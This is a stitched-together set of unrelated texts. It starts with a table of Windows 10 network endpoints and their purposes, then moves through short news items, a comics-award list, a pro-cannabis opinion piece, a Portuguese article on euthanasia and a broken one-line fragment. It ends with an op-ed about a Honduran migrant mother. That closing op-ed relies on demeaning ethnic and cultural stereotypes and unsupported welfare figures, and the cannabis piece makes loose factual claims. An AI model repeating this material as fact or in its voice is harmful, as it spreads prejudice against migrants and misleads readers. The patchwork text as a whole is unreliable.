dl.delivery.mp.microsoft.com HTTPS Enables connections to Windows Update. dual-a-0001.a-msedge.net TLSv1.2 Used by OfficeHub to get the metadata of Office apps. fe2.update.microsoft.com HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe2.update.microsoft.com.nsatc.net TLSv1.2 Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe3.delivery.dsp.mp.microsoft.com.nsatc.net TLSv1.2/HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fg.download.windowsupdate.com.c.footprint.net HTTP Used to download operating system patches and updates. fp.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. g.live.com/1rewlive5skydrive/ HTTPS Used by a redirection service to automatically update URLs. g.msn.com.nsatc.net HTTP Used to retrieve Windows Spotlight metadata. geo-prod.do.dsp.mp.microsoft.com.nsatc.net TLSv1.2 Enables connections to Windows Update. go.microsoft.com HTTPS Used by a redirection service to automatically update URLs. img-prod-cms-rt-microsoft-com.akamaized.net HTTPS Used to download image files that are called when applications run (Microsoft Store or Inbox MSN Apps). *.login.msa.akadns6.net TLSv1.2 Used for Microsoft accounts to sign in. licensing.mp.microsoft.com HTTPS Used for online activation and some app licensing. location-inference-westus.cloudapp.net TLSv1.2 Used for location data. login.live.com HTTPS Used to authenticate a device. mediaredirect.microsoft.com HTTPS Used by the Groove Music app to update HTTP handler status. modern.watson.data.microsoft.com.akadns.net TLSv1.2 Used by Windows Error Reporting. msftsrvcs.vo.llnwd.net HTTP Enables connections to Windows Update. msnbot-*.search.msn.com TLSv1.2 Used to retrieve Windows Spotlight metadata. oem.twimg.com HTTPS Used for the Twitter Live Tile. oneclient.sfx.ms HTTPS Used by OneDrive for Business to download and verify app updates. peer4-wst.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. pti.store.microsoft.com HTTPS Used to communicate with Microsoft Store. pti.store.microsoft.com.unistore.akadns.net TLSv1.2 Used to communicate with Microsoft Store. purchase.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. ris.api.iris.microsoft.com.akadns.net TLSv1.2/HTTPS Used to retrieve Windows Spotlight metadata. settings-win.data.microsoft.com HTTPS Used for Windows apps to dynamically update their configuration. sls.update.microsoft.com.nsatc.net TLSv1.2/HTTPS Enables connections to Windows Update. star-mini.c10r.facebook.com TLSv1.2 Used for the Facebook Live Tile. storecatalogrevocation.storequality.microsoft.com HTTPS Used to revoke licenses for malicious apps on the Microsoft Store. storeedgefd.dsx.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. store-images.s-microsoft.com HTTP Used to get images that are used for Microsoft Store suggestions. tile-service.weather.microsoft.com HTTP Used to download updates to the Weather app Live Tile. tsfe.trafficshaping.dsp.mp.microsoft.com TLSv1.2 Used for content regulation. v10.vortex-win.data.microsoft.com HTTPS Used to retrieve Windows Insider Preview builds. wallet.microsoft.com HTTPS Used by the Microsoft Wallet app. wallet-frontend-prod-westus.cloudapp.net TLSv1.2 Used by the Microsoft Wallet app. watson.telemetry.microsoft.com HTTPS Used by Windows Error Reporting. wdcp.microsoft.akadns.net TLSv1.2 Used for Windows Defender when Cloud-based Protection is enabled. wildcard.twimg.com TLSv1.2 Used for the Twitter Live Tile. www.bing.com HTTP Used for updates for Cortana, apps, and Live Tiles. www.facebook.com HTTPS Used for the Facebook Live Tile. www.microsoft.com HTTPS Used for updates for Cortana, apps, and Live Tiles.
Windows 10 Pro 1709
Destination Protocol Description ..akamai.net HTTP Used to download content. ..akamaiedge.net TLSv1.2/HTTP Used to check for updates to maps that have been downloaded for offline use. *.a-msedge.net TLSv1.2 Used by OfficeHub to get the metadata of Office apps. *.blob.core.windows.net HTTPS Used by Windows Update to update words used for language input methods. *.c-msedge.net HTTP Used by OfficeHub to get the metadata of Office apps. *.dl.delivery.mp.microsoft.com HTTP Enables connections to Windows Update. *.dspb.akamaiedge.net TLSv1.2 Used to check for updates to maps that have been downloaded for offline use. *.dspg.akamaiedge.net TLSv1.2 Used to check for updates to maps that have been downloaded for offline use. *.e-msedge.net TLSv1.2 Used by OfficeHub to get the metadata of Office apps. *.login.msa.akadns6.net TLSv1.2 Used for Microsoft accounts to sign in. *.s-msedge.net TLSv1.2 Used by OfficeHub to get the metadata of Office apps. *.telecommand.telemetry.microsoft.com.akadns.net TLSv1.2 Used by Windows Error Reporting. *.wac.edgecastcdn.net TLSv1.2 Used by the Verizon Content Delivery Network to perform Windows updates. *.wac.phicdn.net HTTP Used by the Verizon Content Delivery Network to perform Windows updates. *.wns.windows.com TLSv1.2 Used for the Windows Push Notification Services (WNS). *prod.do.dsp.mp.microsoft.com TLSv1.2/HTTPS Used for Windows Update downloads of apps and OS updates. 3.dl.delivery.mp.microsoft.com HTTPS Enables connections to Windows Update. 3.dl.delivery.mp.microsoft.com.c.footprint.net HTTP Enables connections to Windows Update. 3.tlu.dl.delivery.mp.microsoft.com HTTP Enables connections to Windows Update. 3.tlu.dl.delivery.mp.microsoft.com.c.footprint.net HTTP Enables connections to Windows Update. arc.msn.com HTTPS Used to retrieve Windows Spotlight metadata. arc.msn.com.nsatc.net TLSv1.3 Used to retrieve Windows Spotlight metadata. au.download.windowsupdate.com HTTPS Used to download operating system patches and updates. b-ring.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. candycrushsoda.king.com HTTPS Used for Candy Crush Saga updates. cdn.content.prod.cms.msn.com HTTP Used to retrieve Windows Spotlight metadata. cdn.onenote.net HTTPS Used for OneNote Live Tile. client-office365-tas.msedge.net HTTPS Used to connect to the Office 365 portal’s shared infrastructure, including Office Online. config.edge.skype.com HTTPS Used to retrieve Skype configuration values. ctldl.windowsupdate.com HTTP Used to download certificates that are publicly known to be fraudulent. cs12.wpc.v0cdn.net HTTP Used by the Verizon Content Delivery Network to download content for Windows upgrades with Wireless Planning and Coordination (WPC). cy2.displaycatalog.md.mp.microsoft.com.akadns.net TLSv1.2 Used to communicate with Microsoft Store. cy2.settings.data.microsoft.com.akadns.net TLSv1.2 Used as a way for apps to dynamically update their configuration. cy2.vortex.data.microsoft.com.akadns.net TLSv1.2 Used to retrieve Windows Insider Preview builds. definitionupdates.microsoft.com HTTPS Used for Windows Defender definition updates. displaycatalog.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. download.windowsupdate.com HTTP Enables connections to Windows Update. evoke-windowsservices-tas.msedge.net HTTPS Used by the Photos app to download configuration files, and to connect to the Office 365 portal’s shared infrastructure, including Office Online. fe2.update.microsoft.com HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe2.update.microsoft.com.nsatc.net TLSv1.2 Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe3.delivery.dsp.mp.microsoft.com.nsatc.net TLSv1.2/HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe3.delivery.mp.microsoft.com HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fg.download.windowsupdate.com.c.footprint.net HTTP Used to download operating system patches and updates. fp.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. fs.microsoft.com HTTPS Used to download fonts on demand g.live.com HTTP Used by a redirection service to automatically update URLs. g.msn.com HTTPS Used to retrieve Windows Spotlight metadata. g.msn.com.nsatc.net TLSv1.2 Used to retrieve Windows Spotlight metadata. geo-prod.do.dsp.mp.microsoft.com HTTPS Enables connections to Windows Update. geover-prod.do.dsp.mp.microsoft.com HTTPS Enables connections to Windows Update. go.microsoft.com HTTPS Used by a redirection service to automatically update URLs. gpla1.wac.v2cdn.net HTTP Used for Baltimore CyberTrust Root traffic. img-prod-cms-rt-microsoft-com.akamaized.net HTTPS Used to download image files that are called when applications run (Microsoft Store or Inbox MSN Apps). licensing.mp.microsoft.com HTTPS Used for online activation and some app licensing. location-inference-westus.cloudapp.net TLSv1.2 Used for location data. login.live.com HTTPS Used to authenticate a device. l-ring.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. mediaredirect.microsoft.com HTTPS Used by the Groove Music app to update HTTP handler status. modern.watson.data.microsoft.com.akadns.net TLSv1.2 Used by Windows Error Reporting. msnbot-*.search.msn.com TLSv1.2 Used to retrieve Windows Spotlight metadata. oem.twimg.com HTTP Used for the Twitter Live Tile. oneclient.sfx.ms HTTP Used by OneDrive for Business to download and verify app updates. peer1-wst.msedge.net HTTP Used by OfficeHub to get the metadata of Office apps. pti.store.microsoft.com HTTPS Used to communicate with Microsoft Store. pti.store.microsoft.com.unistore.akadns.net HTTPS Used to communicate with Microsoft Store. purchase.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. ris.api.iris.microsoft.com HTTPS Used to retrieve Windows Spotlight metadata. settings-win.data.microsoft.com HTTPS Used for Windows apps to dynamically update their configuration. sls.update.microsoft.com HTTPS Enables connections to Windows Update. storecatalogrevocation.storequality.microsoft.com HTTPS Used to revoke licenses for malicious apps on the Microsoft Store. storeedgefd.dsx.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. store-images.s-microsoft.com HTTPS Used to get images that are used for Microsoft Store suggestions. store-images.s-microsoft.com HTTPS Used to get images that are used for Microsoft Store suggestions. telecommand.telemetry.microsoft.com HTTPS Used by Windows Error Reporting. tile-service.weather.microsoft.com HTTP Used to download updates to the Weather app Live Tile. tsfe.trafficshaping.dsp.mp.microsoft.com HTTPS Used for content regulation. v10.vortex-win.data.microsoft.com HTTPS Used to retrieve Windows Insider Preview builds. wallet.microsoft.com HTTPS Used by the Microsoft Wallet app. watson.telemetry.microsoft.com HTTPS Used by Windows Error Reporting. wdcp.microsoft.akadns.net HTTPS Used for Windows Defender when Cloud-based Protection is enabled. wildcard.twimg.com TLSv1.2 Used for the Twitter Live Tile. www.bing.com TLSv1.2 Used for updates for Cortana, apps, and Live Tiles. www.facebook.com HTTPS Used for the Facebook Live Tile. www.microsoft.com HTTPS Used for updates for Cortana, apps, and Live Tiles.
Windows 10 Family 1803
Destination Protocol Description *.e-msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. *.g.akamaiedge.net HTTPS Used to check for updates to maps that have been downloaded for offline use. *.s-msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. *.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/ HTTP Enables connections to Windows Update. arc.msn.com.nsatc.net HTTPS Used to retrieve Windows Spotlight metadata. arc.msn.com/v3/Delivery/Placement HTTPS Used to retrieve Windows Spotlight metadata. client-office365-tas.msedge.net* HTTPS Used to connect to the Office 365 portal’s shared infrastructure, including Office Online. config.edge.skype.com/config/* HTTPS Used to retrieve Skype configuration values. ctldl.windowsupdate.com/msdownload/update* HTTP Used to download certificates that are publicly known to be fraudulent. cy2.displaycatalog.md.mp.microsoft.com.akadns.net HTTPS Used to communicate with Microsoft Store. cy2.licensing.md.mp.microsoft.com.akadns.net HTTPS Used to communicate with Microsoft Store. cy2.settings.data.microsoft.com.akadns.net HTTPS Used to communicate with Microsoft Store. displaycatalog.mp.microsoft.com* HTTPS Used to communicate with Microsoft Store. dm3p.wns.notify.windows.com.akadns.net HTTPS Used for the Windows Push Notification Services (WNS). fe2.update.microsoft.com* HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe3.delivery.dsp.mp.microsoft.com.nsatc.net HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. fe3.delivery.mp.microsoft.com HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. g.live.com/odclientsettings/Prod HTTPS Used by OneDrive for Business to download and verify app updates. g.msn.com.nsatc.net HTTPS Used to retrieve Windows Spotlight metadata. geo-prod.dodsp.mp.microsoft.com.nsatc.net HTTPS Enables connections to Windows Update. ipv4.login.msa.akadns6.net HTTPS Used for Microsoft accounts to sign in. licensing.mp.microsoft.com/v7.0/licenses/content HTTPS Used for online activation and some app licensing. location-inference-westus.cloudapp.net HTTPS Used for location data. maps.windows.com/windows-app-web-link HTTPS Link to Maps application. modern.watson.data.microsoft.com.akadns.net HTTPS Used by Windows Error Reporting. ocos-office365-s2s.msedge.net* HTTPS Used to connect to the Office 365 portal's shared infrastructure. ocsp.digicert.com* HTTP CRL and OCSP checks to the issuing certificate authorities. oneclient.sfx.ms* HTTPS Used by OneDrive for Business to download and verify app updates. query.prod.cms.rt.microsoft.com* HTTPS Used to retrieve Windows Spotlight metadata. ris.api.iris.microsoft.com* HTTPS Used to retrieve Windows Spotlight metadata. settings.data.microsoft.com/settings/v2.0/* HTTPS Used for Windows apps to dynamically update their configuration. settings-win.data.microsoft.com/settings/* HTTPS Used as a way for apps to dynamically update their configuration. sls.update.microsoft.com* HTTPS Enables connections to Windows Update. storecatalogrevocation.storequality.microsoft.com* HTTPS Used to revoke licenses for malicious apps on the Microsoft Store. storeedgefd.dsx.mp.microsoft.com* HTTPS Used to communicate with Microsoft Store. tile-service.weather.microsoft.com* HTTP Used to download updates to the Weather app Live Tile. tsfe.trafficshaping.dsp.mp.microsoft.com HTTPS Used for content regulation. ip5.afdorigin-prod-am02.afdogw.com HTTPS Used to serve office 365 experimentation traffic. watson.telemetry.microsoft.com/Telemetry.Request HTTPS Used by Windows Error Reporting.
Windows 10 Pro 1803
Destination Protocol Description *.e-msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. *.g.akamaiedge.net HTTPS Used to check for updates to maps that have been downloaded for offline use. *.s-msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. .tlu.dl.delivery.mp.microsoft.com/ HTTP Enables connections to Windows Update. *geo-prod.dodsp.mp.microsoft.com.nsatc.net HTTPS Enables connections to Windows Update. arc.msn.com.nsatc.net HTTPS Used to retrieve Windows Spotlight metadata. au.download.windowsupdate.com/* HTTP Enables connections to Windows Update. ctldl.windowsupdate.com/msdownload/update/* HTTP Used to download certificates that are publicly known to be fraudulent. cy2.licensing.md.mp.microsoft.com.akadns.net HTTPS Used to communicate with Microsoft Store. cy2.settings.data.microsoft.com.akadns.net HTTPS Used to communicate with Microsoft Store. dm3p.wns.notify.windows.com.akadns.net HTTPS Used for the Windows Push Notification Services (WNS) fe3.delivery.dsp.mp.microsoft.com.nsatc.net HTTPS Enables connections to Windows Update, Microsoft Update, and the online services of Microsoft Store. g.msn.com.nsatc.net HTTPS Used to retrieve Windows Spotlight metadata. ipv4.login.msa.akadns6.net HTTPS Used for Microsoft accounts to sign in. location-inference-westus.cloudapp.net HTTPS Used for location data. modern.watson.data.microsoft.com.akadns.net HTTPS Used by Windows Error Reporting. ocsp.digicert.com* HTTP CRL and OCSP checks to the issuing certificate authorities. ris.api.iris.microsoft.com.akadns.net HTTPS Used to retrieve Windows Spotlight metadata. tile-service.weather.microsoft.com/* HTTP Used to download updates to the Weather app Live Tile. tsfe.trafficshaping.dsp.mp.microsoft.com HTTPS Used for content regulation. vip5.afdorigin-prod-am02.afdogw.com HTTPS Used to serve office 365 experimentation traffic
Image credit: carballo/ Shutterstock
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Good news isn’t helping a key biotech bellwether turn its fortunes around. That suggests a gloomy year for the sector.
Celgene, one of the world’s largest biotech companies, announced Monday it expects sales of about $14.6 billion and adjusted earnings of about $8.80 a share in 2018. That’s in line with analyst expectations. But Celgene—and the sector—traded lower on Monday.
Celgene...
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Porn chan
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The winners of the first ever Prism Wards for the best in LGBTQIA+ comics were announced last night at the Queer Comics Expo, and it’s a strong lineup.
(Disclaimer: I was a judge for the awards.)
BEST SHORT FORM COMIC
Nothing Wrong With Me by Dylan Edwards, originally published on The Nib
Finalists:
Flux by E Jackson
Liar by Hari Conner
The Kiss of the Demoness by Gillian Pascasio
BEST WEBCOMIC
Villainette by Scout Tran-Caffe
Finalists:
With Great Abandon by EH MacMillian
Failing Sky: Ghost Story by Scout Tran-Caffee
BEST COMIC FROM A SMALL TO MIDSIZE PRESS
Short Gay Stories by H-P Lehkonen
Finalists:
Destiny, NY Volume One: Who I Used to Be by Pat Shand (Writer), Manuel Preitano (Artist), Jim Campbell (Letterer), and Shannon Lee (Editor)
Active Voice The Comic Collection by P. Kristen Enos (writer), Heidi Ho (contributing writer), Casandra Grullon (artist), Derek Chua (artist), Leesamarie Croal (artist), Beth Varni (artist), and Dan Parent (cover art)
BEST SINGLE ISSUE FROM A MAINSTREAM PUBLISHER
The Backstagers #1 by James Tynion IV (writer), and Rian Sygh (artist), 2016, from BOOM!Box
Finalists:
Supergirl: Being Super #1 by Mariko Tamaki (writer), Joëlle Jones (pencils), Sandu Florea (inks), Kelly Fitzpatrick (colorist), Saida Temofonte (letters), Jones and Fitzpatrick (cover art), 2016, DC Entertainment
Lumberjanes #17 by Noelle Stevenson (writer), Shannon Watters (writer), and Brooke Allen (artist), 2015, BOOM!Box
BEST ANTHOLOGY
POWER & MAGIC:The Queer Witch Comics Anthology, edited by Joamette Gil, 2016, P&M Press
Finalists:
Beyond: The Queer Sci-Fi & Fantasy Comic Anthology edited by Sfé R. Monster & Taneka Stotts
Food Porn edited by Gina Biggs
Chainmail Bikini: The Anthology of Women Gamers edited by Hazel Newlevant
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OPINION:
IT FEELS like every time a new drug law reform policy to decriminalise weed for adults in Australia is suggested, people lose their minds and immediately begin fear mongering about why letting people smoke marijuana legally will lead to anarchy in the streets.
It’s actually quite easy to see why this opinion is held given the disorder and mayhem seen in America after Alaska, California, Colorado, Maine, Massachusetts, Nevada, Oregon and Washington DC legalised recreational cannabis on January 1 this year.
Actually come to think of it, these US states have only seen a decrease in weed-related arrests, a stimulated economy from taxing marijuana and medicinal benefits for users.
If this is the case, why does Australia feel the need to peddle outdated anti-weed propaganda with pitchforks in hand?
My guess is a lack of education about the drug and an unwillingness to have an open mind when discussing whether it’s time to let adults — who already smoke weed anyway — to purchase it legally so they can stop dealing with criminals.
One only has to look at David Koch’s interview with Green’s leader Richard Di Natale on Sunrise earlier this week to see how embarrassingly stuck in the dark ages some Aussies are when it comes to the debate of legalisation.
The awkward interview, which Kochie appeared to research by watching the 1936 propaganda film Reefer Madness that explores the melodramatic events that ensue when high school students try marijuana, was nothing short of cringe-worthy and an embarrassment to those wanting to be heard in an educated and modern discussion.
“Most Australians would be going, look, you’ve been smoking marijuana,” Kochie said in response to Di Natale’s proposal.
Di Natale’s basis for legalisation was it would raise hundreds of millions of dollars in tax, would remove the power from the crime syndicates and would prevent innocent Aussies just wanting a smoke from obtaining damaging criminal records.
“We have got to get real about cannabis, nearly seven million Australians use it,” he said.
“The reality is that’s a choice that feeds big criminal syndicates, they are the ones that benefit from the current system.
“This is taking it out of the hands of criminals and putting it within a tightly controlled health framework.”
Kochie took offence to common sense and immediately reverted back to outdated “facts” about marijuana and even admitted that while Di Natale’s professional experience in the field as a drug and alcohol doctor made gave him more knowledgeable, he still wasn’t convinced.
To help break down the flaws in Kochie’s argument or to help sway those who are actually willing to have a discussion about the legalisation of weed, here’s some modern research.
ALCOHOL IS MORE DANGEROUS THAN WEED
Yes, Kochie was shocked when the Greens leader said weed was safer than booze. As Di Natale pointed out, people die from acute alcohol toxicity all the time, yet there have been zero recorded cases of overdosing on marijuana.
OK, sure you can’t die, but what about the other health risks that have been linked to weed over time?
In an attempt to sort fact from fiction, the National Academies of Sciences, Engineering and Medicine completed the world’s most comprehensive study into marijuana last year.
After examining more than 10,000 scientific abstracts dating back to 1999, the extensive 395-page report unearthed more than 100 conclusions about the health effects of recreational and therapeutic cannabis use — many of which support arguments it should be legal.
“The evidence suggests that smoking cannabis does not increase the risk for certain cancers (ie. lung, head, and neck) in adults,” one of the findings read.
And while it did admit smoking cannabis on a regular basis is associated with chronic cough and phlegm production, it explained taking the drug orally will likely reduce these symptoms — legalisation of weed means you can buy eatables and not be forced to smoke.
The report also confirmed the many therapeutic effects of weed.
“In adults with chemotherapy-induced nausea and vomiting, oral cannabinoids are effective antiemetics,” the report read.
“In adults with chronic pain, patients who were treated with cannabis or cannabinoids are more likely to experience a clinically significant reduction in pain symptoms.
“In adults with multiple sclerosis (MS)-related spasticity, short-term use of oral cannabinoids improves patient reported spasticity symptoms.”
When looking at cannabis use and mental health, the findings offer mixed results.
“Cannabis use is likely to increase the risk of developing schizophrenia and other psychoses; the higher the use the greater the risk,” the report read.
However, it added that a history of cannabis use in individuals with schizophrenia and other psychoses may be “linked to better performance on learning and memory tasks”.
The research found smoking weed did not appear to increase the likelihood of developing depression, anxiety or PTSD, and heavy cannabis smokers more likely to talk about their thoughts of suicide than non-users.
WON’T SOMEBODY THINK OF THE CHILDREN
One of the most common arguments with the legalisation of weed is that more children will have access to the drug at a young age.
These people seem to forget that it will be treated with the same age restrictions used for the sale of alcohol — plus there’s nothing stopping a 15-year-old who wants to smoke pot from buying it off the street already.
But let’s forget the age restrictions for a minute and take a look at places that have legalised marijuana and how this has impacted underage use.
As it turns out, fewer teenagers are using cannabis in Colorado since the state’s tightly regulated legal market launched at the start of 2014.
According to the annual National Survey on Drug Use and Health, marijuana use by kids between 12 and 17 had dropped 11 per cent from year prior and 12.5 per cent from the previous two years in Colorado.
This drop is attributed to the amount of money that Colorado has poured into awareness and education programs, plus making it harder to obtain by removing it from the black market.
IT CAN’T BE WORTH THAT MUCH TO THE ECONOMY
According to marijuana industry analyst Tom Adams, the industry in the US took in nearly $AU11.7 billion in sales in 2017 — equivalent to the entire snack bar industry.
But with weed now legal in a number of US states, Adams estimates that national marijuana sales will rise to $AU14.3 billion in 2018, and to $AU27.4 billion in 2021.
State senator from Nevada Tick Segerblom has also praised the legalisation of weed, with the state reaping more than $A36 million in tax revenue since recreational sales started.
“It’s a great thing because the money was already being spent [when it was illegal] it’s just now being taxed,” he told CNN. “And cops don’t have to waste their time arresting users.”
Earlier research conducted by the Institute of Cannabis Research at Colorado State University found the legalisation of weed raked in $AU74 million in tax in 2016, with $AU29 million of that put toward marijuana-related programs to educate users.
DOES WEED MAKE YOU LAZY?
Recent times have shown a huge surge in people smoking weed to help athletic performance as it deepens concentration, increases tissue oxygenation, and decreases muscle spasms before, during and after exercise.
Ultra-endurance athlete Avery Collins, who runs 240km per week, said training stoned helps him achieve flow quicker as the “runner’s high” acts upon the same receptors that receive the THC in marijuana.
“I use it as a way to intensify and enhance the run. It makes the longevity of the runner’s high last longer because technically you’re already high,” he told Motherboard.
Cannabis has long been accredited with anti-inflammatory properties and Mr Collins said he also smokes weed for the pain relief after gruelling training sessions.
“I’d be lying if I said [cannabis] doesn’t help soothe my muscles,” he added.
It’s not just runners who benefit either, with UFC commentator/stand-up comedian/podcaster Joe Rogan talking about its benefits for fighters.
“I think it (marijuana) is a performance-enhancing drug. If it wasn’t, a huge majority of jiu-jitsu guys wouldn’t be using it before they train,” he said on The MMA Hour. “They don’t do it because it hurts them; they do it because it helps them.”
He also claimed to have seen the benefits first-hand.
“I like to smoke pot and work out,” he said. “Getting high and working out is one of the least talked about and least appreciated pleasures of fitness.”
HOW AUSTRALIA CURRENTLY SITS WITH THE REST OF THE WORLD
Our country is slowly taking steps to change its stance on weed, with Victoria becoming the first state to legalise marijuana for young children suffering from epilepsy, while NSW also allows use for patients suffering from serious illnesses such as cancer or multiple sclerosis.
Queensland’s laws are the most flexible in the country, which grant patients of any age or suffering from a range of illnesses access to medicinal cannabis products.
Tasmania allows medical cannabis in limited circumstances where conventional treatment has been unsuccessful, as does Western Australia, South Australia, the NT and the ACT.
While the use of medical marijuana is a step in the right direction, we also need to be talking about legalising it for recreational use, which would bring us on par with a number of countries across the world.
In addition to the earlier mentioned US States, Austria, Bangladesh, Belgium, Belize, Brazil, Cambodia, Colombia, Costa Rica, Croatia, Czech Republic, Denmark, Ecuador, Estonia, Greece, parts of India, Italy, Jamaica, Luzembourg, Malta, Mexico, Myanmar, Netherlands, Norway, Paraguay, Peru, Portugal, Russia, Solvenia, Spain, Switzerland, Ukraine and Uruguay all have made recreational weed use legal or have decriminalised it — and the world hasn’t ended yet.
So maybe Kochie just needs to understand that letting adults enjoy a cheeky toke or two is not going to lead to the end of the world.
Continue the conversation in the comments below or with your favourite pro-weed ambassador Matthew Dunn on Facebook and Twitter.
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O cardeal patriarca de Lisboa, Manuel Clemente, não nega a possibilidade de se avançar com um referendo sobre a eutanásia em Portugal, mas considerou que existe muita coisa a fazer “antes disso ou em vez disso”.
“Nós ainda nem sequer desenvolvemos convenientemente uma resposta cabal e capaz em relação aos famosos cuidados paliativos”, sustentou Manuel Clemente, esta quinta-feira, numa conferência de imprensa que marcou o final da assembleia plenária da Conferência Episcopal Portuguesa (CEP).
"O que a Igreja quer activamente é que reflictamos melhor sobre esta problemática e sejamos capazes, enquanto sociedade organizada, de dar uma resposta capaz a este problema", enfatizou Manuel Clemente, para acrescentar: “Se nós temos tanto para fazer nesse campo, por que é que vamos enviesar a resposta com uma não-resposta, em que, efectivamente, não se elimina a dor mas se elimina a vida?”
“Em vez de irmos para a eutanásia, façamos outras coisas que são muito mais humanas e comprovadamente humanizadoras, até porque temos o exemplo de países que avançaram para a eutanásia e lá temos os efeitos do princípio da rampa deslizante”, argumentou ainda o presidente da CEP, para considerar que, “abrindo essa porta, ela vai-se escancarar”.
Insistindo que não deve haver pressa em relação à eutanásia, Manuel Clemente aludiu ainda ao risco de se instalar na sociedade portuguesa “uma situação de medo e desconfiança em relação às instituições de saúde”.
Igreja vai ter papel "interventivo"
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Por causa disto, o cardeal-patriarca de Lisboa deixou claro que a Igreja vai ter um papel interventivo e atento, em favor da “humanidade” e do “humanismo”, numa espécie de aviso aos partidos que se preparam para legislar sobre a matéria na Assembleia da República.
Além dos projectos de lei do BE e do PAN, os Verdes também prometeram avançar com uma iniciativa legislativa no sentido de legalizar a morte assistida e, quanto ao PS, a versão preliminar do projecto-lei já está redigida e o debate e as respectivas votações deverão fazer-se até ao final da actual sessão legislativa.
A CEP também não passou ao lado das alterações à lei de identidade de género que vão ser votadas esta sexta-feira no Parlamento e que prevêem que os maiores de 16 anos possam requerer a mudança de género no Registo Civil sem relatório médico, desde que contem com a autorização dos pais. Para Manuel Clemente, a masculinidade ou a feminilidade são constitutivos da pessoa “não um simples atributo”, pelo que antecipar uma decisão deste género para os 16 anos é “muito ilegítimo”.
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Photo credit: Shutterstock
Too many people succumb to the mistaken belief that being likable comes from natural, unteachable traits that belong only to a lucky few—the good looking, the fiercely social, and the incredibly talented. It’s easy to fall prey to this misconception. In reality, being likable is under your control, and it’s a matter of emotional intelligence (EQ).
In a study conducted at UCLA, subjects rated over 500 descriptions of people based on their perceived significance to likability. The top-rated descriptors had nothing to do with being gregarious, intelligent, or attractive (innate characteristics). Instead, the top descriptors were sincerity, transparency, and capable of understanding (another person).
These adjectives, and others like them, describe people who are skilled in the social side of emotional intelligence. TalentSmart research data from more than a million people shows that people who possess these skills aren’t just highly likable; they outperform those who don’t by a large margin.
Likability is so powerful that it can completely alter your performance. I did some digging to uncover the key behaviors that hold people back when it comes to likability. Make certain these behaviors don’t catch you by surprise.
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ALBANY - Former U.S. Rep. John Sweeney is out as a talk show host for Talk1300 AM.
Radio officials announced the decision Friday morning. The Clifton Park Republican's show ended after just two weeks. Station owner Paul Vandenburgh made the announcement, citing schedule conflicts with Sweeney's outside business.
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The other side of the equation to free market enterprise and self-regulation is not the sole reliance on regulation by agency or governmental bureau, but robust, legally enforceable, generous 'whistle blower' rewards and protections. This is the self-serving equivalency of the personal gain incentive versus corporate, share holder, greed incentives. Both sides of the equation then appear equal.
Corporate entity, step out of line? Someone in YOUR organization, who knows the rules of the game, will be finely rewarded to show the error of your ways. Sleazy? Sure. But, apparently, that is how the game is played. You, corporate America, lobbied and made the rules. Now, live by them.
Sorry if this solution seems like a simplistic solution and rather morally sleazy...but hey, right or left, corporate America, this is the standard you live by and promote as solutions across the board to almost every issue, but only, if the solution is to YOUR benefit.
Live by the gun, die by the gun. You know, it's the 'eye for an eye' thingy.
Thanks,
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But how else to explain the Honduran caravan migrant who managed to slip into the U.S. on Nov. 26 illegally and, surprise, surprise, gave birth to a new baby just a few days later? That's the story from Fox News :
SAN DIEGO – A Honduran woman affiliated with a caravan of Central American migrants has given birth on U.S. soil shortly after entering the country illegally. Customs and Border Protection said Wednesday that agents arrested the woman Nov. 26 after she entered the country illegally near Imperial Beach, California, across the border from Tijuana, Mexico. The woman was eight months pregnant and was taken to a hospital after complaining of abdominal pain. She and her family were released from custody on Sunday, pending the outcomes of their immigration cases.
Catch and release. Entrance ahead of all the other migrants waiting in line. No waiting in Mexico. No fees for applying for asylum. No penalty for entering the U.S. illegally. Is that a good deal or what? No wonder she made sure she slipped in, ahead of all the other migrants, getting into the U.S. under the wire. She had a deadline, she knew she had a deadline, and she made it.
And with the new baby, the good stuff for her has barely started.
With no education, no mastery of the English language, no salable skills, low literacy, and no father in the picture mentioned (maybe there is, but I doubt it, given the cultural values of the Honduran lower middle classes), she has no practical means of succeeding in America. Yet with that baby in tow, she's hit the jackpot. And she's done so without putting so much as a penny into U.S. coffers via taxes. Nor does she ever need to. Uncle Sam's banquet is spread.
Illegal aliens already get more than a thousand dollars more in benefits than legal Americans for starters. If she's coming in as an asylee applicant, she gets far more than just that. If she's merely a garden-variety illegal, she still gets the jackpot. The baby ensures that she will get a $94,000 lifetime welfare benefit package through her U.S.-born child no matter how frivolous her asylum claim may be, accepted or not. She gets cash and food benefits for the child, free housing, free medical care, and pretty much anything else she needs for free. Coming here illegally is a great deal for those in the market for welfare. And non-citizens, as recent reports have shown, are prodigious consumers of welfare.
The Trump administration has asked the Homeland Security Department to prepare measures to keep her, as a public charge, from accessing permanent residency rights, which is a reasonable stopgap measure, given the incentives to immigrate illegally. What it can also do is reinforce the border so that such crossings do not happen, something the president said would be done – and which never happened.
But what's really needed is for Congress to enact legislation to end birthright citizenship, to put a stop to this kind of system-gaming from people who have little to contribute here and who are trampling on both the taxpayers and the immigrants waiting to get in. Anchor babies are real, and this first one from the caravan isn't about coming to America out of love for the country. It's about gaming the system to harvest the free stuff.
